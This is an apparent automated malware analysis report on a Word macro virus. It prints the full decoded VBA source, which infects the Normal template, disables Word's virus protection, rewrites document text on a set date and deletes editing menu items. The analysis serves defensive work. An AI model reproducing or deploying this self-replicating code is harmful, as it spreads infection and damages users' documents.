Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b14debae36c15cff…

MALICIOUS

Office (OLE)

6.30 MB Created: 2000-10-18 18:13:00 Authoring application: Microsoft Word 8.0 First seen: 2017-03-15
MD5: f3f950553f0797d1f18c24099db7dafb SHA-1: 9b980f74488cc0d19f64d29c4da41c745573a5b8 SHA-256: b14debae36c15cffc6833a57b79a859e7f4f1227134efcedfdda39db0967e9ba
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, identified by the 'OLE_VBA_MACROS' heuristic. The 'AutoOpen' macro suggests immediate execution upon opening. The ClamAV detections 'Win.Trojan.Pivis-2' and 'Doc.Trojan.Vmpc-1' strongly indicate malicious intent. The VBA script attempts to export a file to 'c:\xix.drv', which is a common technique for dropping secondary payloads. The script also modifies document properties with politically charged messages, likely as a distraction or to embed further obfuscation.

Heuristics 3

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
    Sub AutoOpen()
        On Error Resume Next

Extracted artifacts 15

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3601 bytes
SHA-256: 67440ea9465a9159c42810a860ca26782cf127669622ea906ea6871803c45c6e
Detection
ClamAV: Doc.Trojan.Vmpc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xix"
    
Sub xix()
    
    'VMPCK 1.0d w/Random Path + Update
    '=================================
    'Code Written by VicodinES
    '=================================
    'Poppy ID : 5083-QyUo94005083.c
    '=================================
    'This Virus Is: Xix.Poppy
    
On Error Resume Next
Randomize
BzUz7979 = OnLnBvVq & GjCy17022 & JvCeAiQx & VxLk11768
KrNo8852 = ReRnBxQg & UvHm12817 & LsKgBxIj & TiFo12200
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents("xix").Export "c:\xix.drv"
ActiveDocument.ReadOnlyRecommended = False
NsRt = Int(Rnd * 100)
    If NsRt = 99 Then MsgBox "Dia 8 de Novembro VOTA NÃO à regionalização!", vbSystemModal
MgToTvGm = VwDx2292 & LlPg10701
If Day(Now()) = 8 Then Call UmCu9400BsTy
DgCx6829 = DrGhQhNe & ExCf6570 & Int(Rnd * 2675)
With Dialogs(wdDialogFileSummaryInfo)
    .Author = "VOTA NÃO À REGIONALIZAÇÃO! SIM AO REFORÇO DO MUNICIPALISMO!"
    .Subject = "JOÃO JARDIM x8?! PORRA! DIA 8 VOTA NÃO!"
    .Comments = "A REGIONALIZAÇÃO É UM ERRO COLOSSAL!"
    .Execute
End With
If NormalTemplate.VBProject.VBComponents.Item("xix").Name <> "xix" Then MvBv508370643 = True
PlEqIfRo = QwLq7775 & OpHg16129
If ActiveDocument.VBProject.VBComponents.Item("xix").Name <> "xix" Then TxHi70648 = True
If MvBv508370643 = True And TxHi70648 = False Then Set JxPg706450836 = NormalTemplate.VBProject.VBComponents
If MvBv508370643 = False And TxHi70648 = True Then Set JxPg706450836 = ActiveDocument.VBProject.VBComponents
JxPg706450836.import "c:\xix.drv"
If activeinst = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If TxHi70648 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
'VMPCK v1.0d [The Final Version?]
GoNqGpTs:
End Sub
Sub HelpAbout()
    On Error Resume Next
IqAj10564 = SgGwHmVe & KlLp7022 & PeVyEhIs & NkCo10807
    MsgBox "João Jardim x8?! Porra! Dia 8 Vota NÃO!", vbInformation
End Sub
Sub AutoOpen()
    On Error Resume Next
PuIq14134 = TkEmRxTv & FyIe14577 & Int(Rnd * 8391)
    Call xix
SxLn19336 = OyOrAfGz & QtGv12202 & Int(Rnd * 9871)
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call xix
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call xix
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call xix
ChNz19101 = EwCyLsKj & LuTw19501 & Int(Rnd * 9898)
NhAlIqVz = NhNm11382 & TqVm7492
End Sub
Sub UmCu9400BsTy()
    On Error Resume Next
        Selection.HomeKey Unit:=wdStory
        Selection.Find.ClearFormatting
        Selection.Find.Replacement.ClearFormatting
        With Selection.Find
            .Text = "sim"
            .Replacement.Text = "não à regionalização!"
            .Forward = True
            .Wrap = wdFindContinue
            .Format = False
            .MatchCase = False
            .MatchWholeWord = True
            .MatchAllWordForms = False
        End With
        Selection.Find.Execute Replace:=wdReplaceAll
CommandBars("edit").Controls("Undo VBA-Find.Execute").Delete
CommandBars("edit").Controls("Repeat Replace...").Delete
CommandBars("edit").Controls("Replace...").Delete
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1032219099/Ole10Native 259108 bytes
SHA-256: 92c68226641a9f2569c99f6752b25ad940d5af3e0ce6d1deedfa10db663c09c2
ole10native_01.bin ole-package OLE Ole10Native stream: ObjectPool/_1032220002/Ole10Native 352292 bytes
SHA-256: bde10999f53f14f1ec272dee7e42fa7c3ec462efe8f3228110bc8bde8f2de69f
ole10native_02.bin ole-package OLE Ole10Native stream: ObjectPool/_1032221150/Ole10Native 466500 bytes
SHA-256: 49fa39539432a7589dff136ed0ce8395cf615f7da8ff72f0b67195089671e24b
ole10native_03.bin ole-package OLE Ole10Native stream: ObjectPool/_1032222019/Ole10Native 494244 bytes
SHA-256: 8c21c339e6f06c3d2fe86195d0f0347265b3e94c4849a363d50140e0f7f71ce6
ole10native_04.bin ole-package OLE Ole10Native stream: ObjectPool/_1032222645/Ole10Native 331364 bytes
SHA-256: d7b589e1727a8d69c965b627435ff35f4fc1090d5f9e3c9d5ee5a1699c42eae1
ole10native_05.bin ole-package OLE Ole10Native stream: ObjectPool/_1032223204/Ole10Native 309220 bytes
SHA-256: fa3f71d91b192f80b15f60f7474d0cb6007410ac11f9da65d9e217cd67671ae3
ole10native_06.bin ole-package OLE Ole10Native stream: ObjectPool/_1032230203/Ole10Native 550852 bytes
SHA-256: 3bc3dd4fe558008c69d8cb72f7573f3c051c59fe980042984b32b20bd39813a4
ole10native_07.bin ole-package OLE Ole10Native stream: ObjectPool/_1032230708/Ole10Native 349764 bytes
SHA-256: 5f83b3a1e0b33247fb3eb4ccc7d6b15e8f8d36f03dfb23a645d5ac974095d53c
ole10native_08.bin ole-package OLE Ole10Native stream: ObjectPool/_1032231037/Ole10Native 568356 bytes
SHA-256: 5bd522ce1b80268b6909f1617606c24a90f804f6f836a343a859b2ed718bccbf
ole10native_09.bin ole-package OLE Ole10Native stream: ObjectPool/_1032231612/Ole10Native 571396 bytes
SHA-256: bb16e2df58058e283e68115ef328e5b154af06bf2709ed21457346ebcea5f841
ole10native_10.bin ole-package OLE Ole10Native stream: ObjectPool/_1032232348/Ole10Native 467908 bytes
SHA-256: 71c381d40633f2fd026af2c9ee9e514692d25afe3f2bf659c0693fc09da7ff2a
ole10native_11.bin ole-package OLE Ole10Native stream: ObjectPool/_1032232677/Ole10Native 569444 bytes
SHA-256: 3051ef6cfc466c197ec287be005de454b46d18101821a0e2f2bc0c040344660d
ole10native_12.bin ole-package OLE Ole10Native stream: ObjectPool/_1032233373/Ole10Native 574148 bytes
SHA-256: cdaf15d71d00100e686a54590f15da156a13c65a7999f0a833b5d3d245f4019e
ole10native_13.bin ole-package OLE Ole10Native stream: ObjectPool/_1032234347/Ole10Native 330532 bytes
SHA-256: 9029bb319d6f02201dfdc48e2d928cd1d76c74824a908682d18876a78e973772